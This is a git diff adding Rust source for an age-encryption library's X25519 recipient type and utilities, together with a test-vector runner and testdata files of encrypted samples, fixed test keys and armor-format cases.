{ + Ok(n) if n == N => Some(buf[..N].try_into().unwrap()), + _ => None, + } + } + + /// Parses a decimal number composed only of digits with no leading zeros. + pub(crate) fn decimal_digit_arg(arg: &str) -> Option { + verify::<_, _, _, (), _, _>(digit1, |n: &str| !n.starts_with('0'))(arg) + .ok() + .and_then(|(_, n)| n.parse_to()) + } +} + +pub(crate) mod write { + use base64::{prelude::BASE64_STANDARD_NO_PAD, Engine}; + use cookie_factory::{combinator::string, SerializeFn}; + use std::io::Write; + + pub(crate) fn encoded_data(data: &[u8]) -> impl SerializeFn { + let encoded = BASE64_STANDARD_NO_PAD.encode(data); + string(encoded) + } +} diff --git a/lib/rage/age/src/x25519.rs b/lib/rage/age/src/x25519.rs new file mode 100644 index 0000000..98edb15 --- /dev/null +++ b/lib/rage/age/src/x25519.rs @@ -0,0 +1,291 @@ +//! The "x25519" recipient type, native to age. + +use std::collections::HashSet; +use std::fmt; + +use age_core::{ + format::{FileKey, Stanza, FILE_KEY_BYTES}, + primitives::{aead_decrypt, aead_encrypt, hkdf}, + secrecy::{ExposeSecret, SecretString}, +}; +use base64::{prelude::BASE64_STANDARD_NO_PAD, Engine}; +use bech32::{ToBase32, Variant}; +use rand::rngs::OsRng; +use subtle::ConstantTimeEq; +use x25519_dalek::{EphemeralSecret, PublicKey, StaticSecret}; +use zeroize::Zeroize; + +use crate::{ + error::{DecryptError, EncryptError}, + util::{parse_bech32, read::base64_arg}, +}; + +// Use lower-case HRP to avoid https://github.com/rust-bitcoin/rust-bech32/issues/40 +const SECRET_KEY_PREFIX: &str = "age-secret-key-"; +const PUBLIC_KEY_PREFIX: &str = "age"; + +pub(super) const X25519_RECIPIENT_TAG: &str = "X25519"; +const X25519_RECIPIENT_KEY_LABEL: &[u8] = b"age-encryption.org/v1/X25519"; + +pub(super) const EPK_LEN_BYTES: usize = 32; +pub(super) const ENCRYPTED_FILE_KEY_BYTES: usize = FILE_KEY_BYTES + 16; + +/// The standard age identity type, which can decrypt files encrypted to the corresponding +/// [`Recipient`]. +#[derive(Clone)] +pub struct Identity(StaticSecret); + +impl std::str::FromStr for Identity { + type Err = &'static str; + + /// Parses an X25519 identity from a string. + fn from_str(s: &str) -> Result { + parse_bech32(s) + .ok_or("invalid Bech32 encoding") + .and_then(|(hrp, bytes)| { + if hrp == SECRET_KEY_PREFIX { + TryInto::<[u8; 32]>::try_into(&bytes[..]) + .map_err(|_| "incorrect identity length") + .map(StaticSecret::from) + .map(Identity) + } else { + Err("incorrect HRP") + } + }) + } +} + +impl Identity { + /// Generates a new secret key. + pub fn generate() -> Self { + let rng = OsRng; + Identity(StaticSecret::random_from_rng(rng)) + } + + /// Serializes this secret key as a string. + pub fn to_string(&self) -> SecretString { + let mut sk_bytes = self.0.to_bytes(); + let sk_base32 = sk_bytes.to_base32(); + let mut encoded = + bech32::encode(SECRET_KEY_PREFIX, sk_base32, Variant::Bech32).expect("HRP is valid"); + let ret = SecretString::from(encoded.to_uppercase()); + + // Clear intermediates + sk_bytes.zeroize(); + // TODO: bech32::u5 doesn't implement Zeroize + // sk_base32.zeroize(); + encoded.zeroize(); + + ret + } + + /// Returns the recipient key for this secret key. + pub fn to_public(&self) -> Recipient { + Recipient((&self.0).into()) + } +} + +impl crate::Identity for Identity { + fn unwrap_stanza(&self, stanza: &Stanza) -> Option> { + if stanza.tag != X25519_RECIPIENT_TAG { + return None; + } + + // Enforce valid and canonical stanza format. + // https://c2sp.org/age#x25519-recipient-stanza + let ephemeral_share = match &stanza.args[..] { + [arg] => match base64_arg::<_, EPK_LEN_BYTES, 33>(arg) { + Some(ephemeral_share) => ephemeral_share, + None => return Some(Err(DecryptError::InvalidHeader)), + }, + _ => return Some(Err(DecryptError::InvalidHeader)), + }; + if stanza.body.len() != ENCRYPTED_FILE_KEY_BYTES { + return Some(Err(DecryptError::InvalidHeader)); + } + + let epk: PublicKey = ephemeral_share.into(); + let encrypted_file_key: [u8; ENCRYPTED_FILE_KEY_BYTES] = stanza.body[..] + .try_into() + .expect("Length should have been checked above"); + + let pk: PublicKey = (&self.0).into(); + let shared_secret = self.0.diffie_hellman(&epk); + // Replace with `SharedSecret::was_contributory` once x25519-dalek supports newer + // zeroize (https://github.com/dalek-cryptography/x25519-dalek/issues/74#issuecomment-1159481280). + if shared_secret + .as_bytes() + .iter() + .fold(0, |acc, b| acc | b) + .ct_eq(&0) + .into() + { + return Some(Err(DecryptError::InvalidHeader)); + } + + let mut salt = [0; 64]; + salt[..32].copy_from_slice(epk.as_bytes()); + salt[32..].copy_from_slice(pk.as_bytes()); + + let enc_key = hkdf(&salt, X25519_RECIPIENT_KEY_LABEL, shared_secret.as_bytes()); + + // A failure to decrypt is non-fatal (we try to decrypt the recipient + // stanza with other X25519 keys), because we cannot tell which key + // matches a particular stanza. + aead_decrypt(&enc_key, FILE_KEY_BYTES, &encrypted_file_key) + .ok() + .map(|mut pt| { + // It's ours! + Ok(FileKey::init_with_mut(|file_key| { + file_key.copy_from_slice(&pt); + pt.zeroize(); + })) + }) + } +} + +/// The standard age recipient type. Files encrypted to this recipient can be decrypted +/// with the corresponding [`Identity`]. +/// +/// This recipient type is anonymous, in the sense that an attacker can't tell from the +/// age-encrypted file alone if it is encrypted to a certain recipient. +#[derive(Clone, PartialEq, Eq, Hash)] +pub struct Recipient(PublicKey); + +impl std::str::FromStr for Recipient { + type Err = &'static str; + + /// Parses a recipient key from a string. + fn from_str(s: &str) -> Result { + parse_bech32(s) + .ok_or("invalid Bech32 encoding") + .and_then(|(hrp, bytes)| { + if hrp == PUBLIC_KEY_PREFIX { + TryInto::<[u8; 32]>::try_into(&bytes[..]) + .map_err(|_| "incorrect pubkey length") + .map(PublicKey::from) + .map(Recipient) + } else { + Err("incorrect HRP") + } + }) + } +} + +impl fmt::Display for Recipient { + fn fmt(&self, f: &mut fmt::Formatter) -> fmt::Result { + write!( + f, + "{}", + bech32::encode( + PUBLIC_KEY_PREFIX, + self.0.as_bytes().to_base32(), + Variant::Bech32 + ) + .expect("HRP is valid") + ) + } +} + +impl fmt::Debug for Recipient { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + write!(f, "{}", self) + } +} + +impl crate::Recipient for Recipient { + fn wrap_file_key( + &self, + file_key: &FileKey, + ) -> Result<(Vec, HashSet), EncryptError> { + let rng = OsRng; + let esk = EphemeralSecret::random_from_rng(rng); + let epk: PublicKey = (&esk).into(); + let shared_secret = esk.diffie_hellman(&self.0); + + // It is vanishingly unlikely that we generate the all-zero esk, so if we do then + // it is likely that the RNG is bad, and we should fail loudly. + // Replace with `SharedSecret::was_contributory` once x25519-dalek supports + // newer zeroize (https://github.com/dalek-cryptography/x25519-dalek/issues/74#issuecomment-1159481280). + if bool::from( + shared_secret + .as_bytes() + .iter() + .fold(0, |acc, b| acc | b) + .ct_eq(&0), + ) { + panic!("Generated the all-zero esk; OS RNG is likely failing!"); + } + + let mut salt = [0; 64]; + salt[..32].copy_from_slice(epk.as_bytes()); + salt[32..].copy_from_slice(self.0.as_bytes()); + + let enc_key = hkdf(&salt, X25519_RECIPIENT_KEY_LABEL, shared_secret.as_bytes()); + let encrypted_file_key = aead_encrypt(&enc_key, file_key.expose_secret()); + + let encoded_epk = BASE64_STANDARD_NO_PAD.encode(epk.as_bytes()); + + Ok(( + vec![Stanza { + tag: X25519_RECIPIENT_TAG.to_owned(), + args: vec![encoded_epk], + body: encrypted_file_key, + }], + HashSet::new(), + )) + } +} + +#[cfg(test)] +pub(crate) mod tests { + use age_core::{format::FileKey, secrecy::ExposeSecret}; + use proptest::prelude::*; + use x25519_dalek::{PublicKey, StaticSecret}; + + use super::{Identity, Recipient}; + use crate::{Identity as _, Recipient as _}; + + pub(crate) const TEST_SK: &str = + "AGE-SECRET-KEY-1GQ9778VQXMMJVE8SK7J6VT8UJ4HDQAJUVSFCWCM02D8GEWQ72PVQ2Y5J33"; + pub(crate) const TEST_PK: &str = + "age1t7rxyev2z3rw82stdlrrepyc39nvn86l5078zqkf5uasdy86jp6svpy7pa"; + + #[test] + fn pubkey_encoding() { + let pk: Recipient = TEST_PK.parse().unwrap(); + assert_eq!(pk.to_string(), TEST_PK); + } + + #[test] + fn pubkey_from_secret_key() { + let key = TEST_SK.parse::().unwrap(); + assert_eq!(key.to_public().to_string(), TEST_PK); + } + + proptest! { + #[test] + fn wrap_and_unwrap(sk_bytes in proptest::collection::vec(any::(), ..=32)) { + let file_key = FileKey::new(Box::new([7; 16])); + let sk = { + let mut tmp = [0; 32]; + tmp[..sk_bytes.len()].copy_from_slice(&sk_bytes); + StaticSecret::from(tmp) + }; + + let res = Recipient(PublicKey::from(&sk)) + .wrap_file_key(&file_key); + prop_assert!(res.is_ok()); + let (stanzas, labels) = res.unwrap(); + prop_assert!(labels.is_empty()); + + let res = Identity(sk).unwrap_stanzas(&stanzas); + prop_assert!(res.is_some()); + let res = res.unwrap(); + prop_assert!(res.is_ok()); + let res = res.unwrap(); + + prop_assert_eq!(res.expose_secret(), file_key.expose_secret()); + } + } +} diff --git a/lib/rage/age/tests/test_vectors.rs b/lib/rage/age/tests/test_vectors.rs new file mode 100644 index 0000000..1924b10 --- /dev/null +++ b/lib/rage/age/tests/test_vectors.rs @@ -0,0 +1,65 @@ +use std::fs; +use std::io::Read; + +use age::scrypt; +use age_core::secrecy::SecretString; + +#[test] +#[cfg(feature = "cli-common")] +fn age_test_vectors() -> Result<(), Box> { + use age::cli_common::StdinGuard; + + for test_vector in fs::read_dir("./tests/testdata")?.filter(|res| { + res.as_ref() + .map(|e| { + e.path() + .extension() + .map(|ext| ext == "age") + .unwrap_or(false) + }) + .unwrap_or(false) + }) { + let test_vector = test_vector?; + let path = test_vector.path(); + let name = path.file_stem().unwrap().to_str().unwrap(); + let expect_failure = name.starts_with("fail_"); + + let d = age::Decryptor::new(fs::File::open(&path)?)?; + let res = if !d.is_scrypt() { + let identities = age::cli_common::read_identities( + vec![format!( + "{}/{}_key.txt", + path.parent().unwrap().to_str().unwrap(), + name + )], + None, + &mut StdinGuard::new(false), + )?; + d.decrypt(identities.iter().map(|i| i.as_ref() as &dyn age::Identity)) + } else { + let mut passphrase = String::new(); + fs::File::open(format!( + "{}/{}_password.txt", + path.parent().unwrap().to_str().unwrap(), + name + ))? + .read_to_string(&mut passphrase)?; + let passphrase = SecretString::from(passphrase); + let identity = scrypt::Identity::new(passphrase); + d.decrypt(Some(&identity as _).into_iter()) + }; + + match (res, expect_failure) { + (Ok(mut r), false) => { + // Check that we can read the entire file. + let mut buf = vec![]; + r.read_to_end(&mut buf)?; + } + (Ok(_), true) => panic!("Test vector {} did not fail as expected", name), + (Err(e), false) => panic!("Test vector {} failed unexpectedly: {:?}", name, e), + (Err(_), true) => (), + } + } + + Ok(()) +} diff --git a/lib/rage/age/tests/testdata/empty_recipient_body.age b/lib/rage/age/tests/testdata/empty_recipient_body.age new file mode 100644 index 0000000..55769e9 --- /dev/null +++ b/lib/rage/age/tests/testdata/empty_recipient_body.age @@ -0,0 +1,6 @@ +age-encryption.org/v1 +-> ssh-ed25519 o1Hudg SZISkI5Qn8YgUBmTKG/Zp/QpFjXWvAivzvB+hOcN5W8 +dYfwGWYvCwpSU5EXIC1XqfXdsBvCi3kMypdqCVShrpk +-> joint-oil-hw +--- gC/27VAgqOEzAQMKHvBjih7sJ1oDKht+HNdguTIbjt8 +fëtAeµÖ¨&8{Ëéðνcat—íΘœ¯šË·}«=šC†Ÿu \ No newline at end of file diff --git a/lib/rage/age/tests/testdata/empty_recipient_body_key.txt b/lib/rage/age/tests/testdata/empty_recipient_body_key.txt new file mode 100644 index 0000000..a91b78c --- /dev/null +++ b/lib/rage/age/tests/testdata/empty_recipient_body_key.txt @@ -0,0 +1,7 @@ +-----BEGIN OPENSSH PRIVATE KEY----- +b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW +QyNTUxOQAAACAwKgrb/LkvtI887QylSoUh5xUlKr1fb37euR6et5jHowAAAJgxqUx+MalM +fgAAAAtzc2gtZWQyNTUxOQAAACAwKgrb/LkvtI887QylSoUh5xUlKr1fb37euR6et5jHow +AAAEC7gKj74YIwaM1BT2tnODjfeZJvo8lcazvL6Uljv3+nIDAqCtv8uS+0jzztDKVKhSHn +FSUqvV9vft65Hp63mMejAAAADnJ1bm5lckBmdi1hejMyAQIDBAUGBw== +-----END OPENSSH PRIVATE KEY----- diff --git a/lib/rage/age/tests/testdata/fail_large_filekey_scrypt.age b/lib/rage/age/tests/testdata/fail_large_filekey_scrypt.age new file mode 100644 index 0000000..2f04702 --- /dev/null +++ b/lib/rage/age/tests/testdata/fail_large_filekey_scrypt.age @@ -0,0 +1,6 @@ +age-encryption.org/v1 +-> scrypt qeKad+OgIkBbr/ndSa7J3Q 1 +C2tmV7/uZjRafxqaQd1JhYkM2KxuHHBy3/d2dJNEZEh8rZCqYfvE/eJUXqiqZsZa +6kWgG1qa6Q6sXPz0vIIpYHGf4gzxG9oTVonMke2kHC4 +--- FQeacPQobvFBd0tuIQnQDd/NEDR4G4MfylkXiq9ZqZ0 +Ãù€pÛÂt€t˜Ë3qòÆ)¬ÌÈŒv´¨QÆoÌšK÷¶7ÜØ)ø%a \ No newline at end of file diff --git a/lib/rage/age/tests/testdata/fail_large_filekey_scrypt_password.txt b/lib/rage/age/tests/testdata/fail_large_filekey_scrypt_password.txt new file mode 100644 index 0000000..0249b11 --- /dev/null +++ b/lib/rage/age/tests/testdata/fail_large_filekey_scrypt_password.txt @@ -0,0 +1 @@ +dog-old-little-breeze-novel-razor-battle-replace-lake-horse \ No newline at end of file diff --git a/lib/rage/age/tests/testdata/fail_large_filekey_x25519.age b/lib/rage/age/tests/testdata/fail_large_filekey_x25519.age new file mode 100644 index 0000000..100234e --- /dev/null +++ b/lib/rage/age/tests/testdata/fail_large_filekey_x25519.age @@ -0,0 +1,6 @@ +age-encryption.org/v1 +-> X25519 /Gt0E6JT7yuYHlwsGW5LbpEEJawOc+QMeMAS+hoOIgw +XU/4Zkz4MksDhge0kosiMTJF8tHnOP0ZSi+6aaMqLMS1PlMIs95nKz3H7JGesTwA +tsxuQrj+TuoGouNB1O0VshA9vsHGurn0Dtw5e7bkw9Q +--- jQNSF6blozj2QFYJ/2iqy0wUcPuz/8vCS7RgKH8wjNI +Þ9­¶‡yË_£§R\¯ÿm\¥û©Uv6Qȶ»ñmK»a¢©êv®©˜2 \ No newline at end of file diff --git a/lib/rage/age/tests/testdata/fail_large_filekey_x25519_key.txt b/lib/rage/age/tests/testdata/fail_large_filekey_x25519_key.txt new file mode 100644 index 0000000..39c1631 --- /dev/null +++ b/lib/rage/age/tests/testdata/fail_large_filekey_x25519_key.txt @@ -0,0 +1,3 @@ +# created: 2020-09-19T18:42:11+02:00 +# public key: age1uc8zlurjyjpenrslc2thyl28u7ylz6x8c2g9yphvjha6xm8ppf3slq0l25 +AGE-SECRET-KEY-1D8JAD8SXNFVQEFHAUNNAX4QCE3K5CUKMT7YYHNGTUSSP97YGWL4STV89UH diff --git a/lib/rage/age/tests/testdata/testkit/armor b/lib/rage/age/tests/testdata/testkit/armor new file mode 100644 index 0000000..7ebd0db --- /dev/null +++ b/lib/rage/age/tests/testdata/testkit/armor @@ -0,0 +1,13 @@ +expect: success +payload: 013f54400c82da08037759ada907a8b864e97de81c088a182062c4b5622fd2ab +file key: 59454c4c4f57205355424d4152494e45 +identity: AGE-SECRET-KEY-1XMWWC06LY3EE5RYTXM9MFLAZ2U56JJJ36S0MYPDRWSVLUL66MV4QX3S7F6 +armored: yes + +-----BEGIN AGE ENCRYPTED FILE----- +YWdlLWVuY3J5cHRpb24ub3JnL3YxCi0+IFgyNTUxOSBURWlGMHlwcXIrYnB2Y3FY +TnlDVkpwTDdPdXdQZFZ3UEw3S1FFYkZET0NjCkVtRUNBRWNLTituL1ZzOVNiV2lW +K0h1MHIrRThSNzdEZFdZeWQ4M253N1UKLS0tIFZuKzU0anFpaVVDRStXWmNFVlkz +ZjFzcUhqbHUvejFMQ1EvVDdYbTdxSTAK7s9ix86RtDMnTmjU8vkTTLdMW/73vqpS +yPC8DpksHoMx+2Y= +-----END AGE ENCRYPTED FILE----- diff --git a/lib/rage/age/tests/testdata/testkit/armor_crlf b/lib/rage/age/tests/testdata/testkit/armor_crlf new file mode 100644 index 0000000..b474ce1 --- /dev/null +++ b/lib/rage/age/tests/testdata/testkit/armor_crlf @@ -0,0 +1,14 @@ +expect: success +payload: 013f54400c82da08037759ada907a8b864e97de81c088a182062c4b5622fd2ab +file key: 59454c4c4f57205355424d4152494e45 +identity: AGE-SECRET-KEY-1XMWWC06LY3EE5RYTXM9MFLAZ2U56JJJ36S0MYPDRWSVLUL66MV4QX3S7F6 +armored: yes +comment: CRLF is allowed as a end of line for armored files + +-----BEGIN AGE ENCRYPTED FILE----- +YWdlLWVuY3J5cHRpb24ub3JnL3YxCi0+IFgyNTUxOSBURWlGMHlwcXIrYnB2Y3FY +TnlDVkpwTDdPdXdQZFZ3UEw3S1FFYkZET0NjCkVtRUNBRWNLTituL1ZzOVNiV2lW +K0h1MHIrRThSNzdEZFdZeWQ4M253N1UKLS0tIFZuKzU0anFpaVVDRStXWmNFVlkz +ZjFzcUhqbHUvejFMQ1EvVDdYbTdxSTAK7s9ix86RtDMnTmjU8vkTTLdMW/73vqpS +yPC8DpksHoMx+2Y= +-----END AGE ENCRYPTED FILE----- diff --git a/lib/rage/age/tests/testdata/testkit/armor_empty_line_begin b/lib/rage/age/tests/testdata/testkit/armor_empty_line_begin new file mode 100644 index 0000000..5900cc5 --- /dev/null +++ b/lib/rage/age/tests/testdata/testkit/armor_empty_line_begin @@ -0,0 +1,13 @@ +expect: armor failure +file key: 59454c4c4f57205355424d4152494e45 +identity: AGE-SECRET-KEY-1XMWWC06LY3EE5RYTXM9MFLAZ2U56JJJ36S0MYPDRWSVLUL66MV4QX3S7F6 +armored: yes + +-----BEGIN AGE ENCRYPTED FILE----- + +YWdlLWVuY3J5cHRpb24ub3JnL3YxCi0+IFgyNTUxOSBURWlGMHlwcXIrYnB2Y3FY +TnlDVkpwTDdPdXdQZFZ3UEw3S1FFYkZET0NjCkVtRUNBRWNLTituL1ZzOVNiV2lW +K0h1MHIrRThSNzdEZFdZeWQ4M253N1UKLS0tIFZuKzU0anFpaVVDRStXWmNFVlkz +ZjFzcUhqbHUvejFMQ1EvVDdYbTdxSTAK7s9ix86RtDMnTmjU8vkTTLdMW/73vqpS +yPC8DpksHoMx+2Y= +-----END AGE ENCRYPTED FILE----- diff --git a/lib/rage/age/tests/testdata/testkit/armor_empty_line_end b/lib/rage/age/tests/testdata/testkit/armor_empty_line_end new file mode 100644 index 0000000..0a6975f --- /dev/null +++ b/lib/rage/age/tests/testdata/testkit/armor_empty_line_end @@ -0,0 +1,13 @@ +expect: armor failure +file key: 59454c4c4f57205355424d4152494e45 +identity: AGE-SECRET-KEY-1XMWWC06LY3EE5RYTXM9MFLAZ2U56JJJ36S0MYPDRWSVLUL66MV4QX3S7F6 +armored: yes + +-----BEGIN AGE ENCRYPTED FILE----- +YWdlLWVuY3J5cHRpb24ub3JnL3YxCi0+IFgyNTUxOSBURWlGMHlwcXIrYnB2Y3FY +TnlDVkpwTDdPdXdQZFZ3UEw3S1FFYkZET0NjCkVtRUNBRWNLTituL1ZzOVNiV2lW +K0h1MHIrRThSNzdEZFdZeWQ4M253N1UKLS0tIFZuKzU0anFpaVVDRStXWmNFVlkz +ZjFzcUhqbHUvejFMQ1EvVDdYbTdxSTAK7s9ix86RtDMnTmjU8vkTTLdMW/73vqpS +yPC8DpksHoMx+2Y= + +-----END AGE ENCRYPTED FILE----- diff --git a/lib/rage/age/tests/testdata/testkit/armor_eol_between_padding b/lib/rage/age/tests/testdata/testkit/armor_eol_between_padding new file mode 100644 index 0000000..f69d0cf --- /dev/null +++ b/lib/rage/age/tests/testdata/testkit/armor_eol_between_padding @@ -0,0 +1,13 @@ +expect: armor failure +file key: 59454c4c4f57205355424d4152494e45 +identity: AGE-SECRET-KEY-1XMWWC06LY3EE5RYTXM9MFLAZ2U56JJJ36S0MYPDRWSVLUL66MV4QX3S7F6 +armored: yes + +-----BEGIN AGE ENCRYPTED FILE----- +YWdlLWVuY3J5cHRpb24ub3JnL3YxCi0+IFgyNTUxOSBURWlGMHlwcXIrYnB2Y3FY +TnlDVkpwTDdPdXdQZFZ3UEw3S1FFYkZET0NjCkVtRUNBRWNLTituL1ZzOVNiV2lW +K0h1MHIrRThSNzdEZFdZeWQ4M253N1UKLS0tIFZuKzU0anFpaVVDRStXWmNFVlkz +ZjFzcUhqbHUvejFMQ1EvVDdYbTdxSTAK7s9ix86RtDMnTmjU8vkTTLdMW2ewwwqo +mNlxYv6gMOKyDNzgiw= += +-----END AGE ENCRYPTED FILE----- diff --git a/lib/rage/age/tests/testdata/testkit/armor_full_last_line b/lib/rage/age/tests/testdata/testkit/armor_full_last_line new file mode 100644 index 0000000..54439f0 --- /dev/null +++ b/lib/rage/age/tests/testdata/testkit/armor_full_last_line @@ -0,0 +1,13 @@ +expect: success +payload: 724a112a2cac139a4fca3ea0f799f2e5ccd1d0db46af654dee40567bff16ee33 +file key: 59454c4c4f57205355424d4152494e45 +identity: AGE-SECRET-KEY-1XMWWC06LY3EE5RYTXM9MFLAZ2U56JJJ36S0MYPDRWSVLUL66MV4QX3S7F6 +armored: yes + +-----BEGIN AGE ENCRYPTED FILE----- +YWdlLWVuY3J5cHRpb24ub3JnL3YxCi0+IFgyNTUxOSBURWlGMHlwcXIrYnB2Y3FY +TnlDVkpwTDdPdXdQZFZ3UEw3S1FFYkZET0NjCkVtRUNBRWNLTituL1ZzOVNiV2lW +K0h1MHIrRThSNzdEZFdZeWQ4M253N1UKLS0tIFZuKzU0anFpaVVDRStXWmNFVlkz +ZjFzcUhqbHUvejFMQ1EvVDdYbTdxSTAK7s9ix86RtDMnTmjU8vkTTLdMW3bj4iHS +YS3WWUtZB5wJqKgEe8kpsp0iOnD2CNG4DVKBC0Z7SAcCFb8xdwV9CRavSEE7OU1c +-----END AGE ENCRYPTED FILE----- diff --git a/lib/rage/age/tests/testdata/testkit/armor_garbage_encoded b/lib/rage/age/tests/testdata/testkit/armor_garbage_encoded new file mode 100644 index 0000000..8f95ca3 --- /dev/null +++ b/lib/rage/age/tests/testdata/testkit/armor_garbage_encoded @@ -0,0 +1,1379 @@ +expect: payload failure +payload: de2f256064a0af797747c2b97505dc0b9f3df0de4f489eac731c23ae9ca9cc31 +file key: 7aa5bdac0e6afeed3dd0a7eccb42af44 +identity: AGE-SECRET-KEY-1EGTZVFFV20835NWYV6270LXYVK2VKNX2MMDKWYKLMGR48UAWX40Q2P2LM0 +armored: yes +comment: there is trailing garbage encoded after the final chunk + +-----BEGIN AGE ENCRYPTED FILE----- +YWdlLWVuY3J5cHRpb24ub3JnL3YxCi0+IFgyNTUxOSBURWlGMHlwcXIrYnB2Y3FY +TnlDVkpwTDdPdXdQZFZ3UEw3S1FFYkZET0NjCnBkWnErVDB2ODdFMFQ4UW1XbU5m +U25jMjl4Slp6VDJkcDZ6MSt0NW9JcUkKLS0tIEJLMUtNY2c0TlllcHdNaFVsWVFF +VHFsUHkyMDlXdzdWeTRiS2NLTXFKekEKyC9x64ICm3cTY5nkheh59DyiVHEv+QMv +VsRatIRke5d4B+ruVrfJ+PItgeoGV74jlMRjN0UYOHFWss5j3qFhgiRiLzrL6AQU +Yyo4H2796NRBfo6Gyol4NMrleRJUpEH2AW82NzDUQsdj8ohjNIlDpvYn0jvavi2Z +soh8Yu3gy8C3QMrlwNVoKcgt3dcI+rdIPponeoWK+xqgZrIOkrlSD7kMKmt+Kmht +s0K5mJ55I3anKgb0sxGPMu219kJm8OZKzEW22MIqzhTCBxE+RlKp3XxYVIKDvYeZ +ig87GECiE+hvrUjsA+lovQOXL7xrwT+kXcOEZu5AvmHlaE+mfYQhZHZV+G7EHk+g +3rEZr8gU9iyUoVQP73ch5XB8vwofF9MVzccGOk0AgkFvwBp+P+vQ0ESH3TwJWNLm +UccCUl7DkMAIpX2TuQ0bygZxviRdt6vSgraU8XLo108AeEUNnI7feybE+mVAREgc +FctbcI8gT7SGuoRMJX8Gtw1X3G4cfYPBkJb2yc3+rtQIHp9ggFwALjlNiNynVu3M +R5FhccRwNphuVz6XjNgZxsrahwBRCGs7nKtdCL0iYLf49wm8H6WAkso6RJumrzmr +iTNRGHeNlPegjo4CHgK8swWi6epHtghbPwRwZn1ug3xqK7Hc8xdb8pGg7HrOmv6+ +OyW+V1uH4s/5RRp0crgDNt2VNcBABeTxCUrKBzKuZAW1BL8Xjo49tbFTWoIOsOx9 +FeKYZwOC8bUeJChxbedFMAxJAMU9uWcaWOFiNJ/NqhI2w93EDsDkb0YFW8Lheuuq +ekbsLe4MxiDWeBQxbATPBgu0FweN8HmD5RmwBOkxt2IjVGWhVcw/tX4kUlvSojBX +0kOYEurv0ikPjV51JoICqWbngpBIeawnt3W32EADjHfe5Ahp6lcfIqE+iN17mjoP +aXVUmJ1wluCEV+YQGCmYe0g8gqHCl/BE3syNOiAj50DJh/JABa9on3AWaLj9sYyG +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 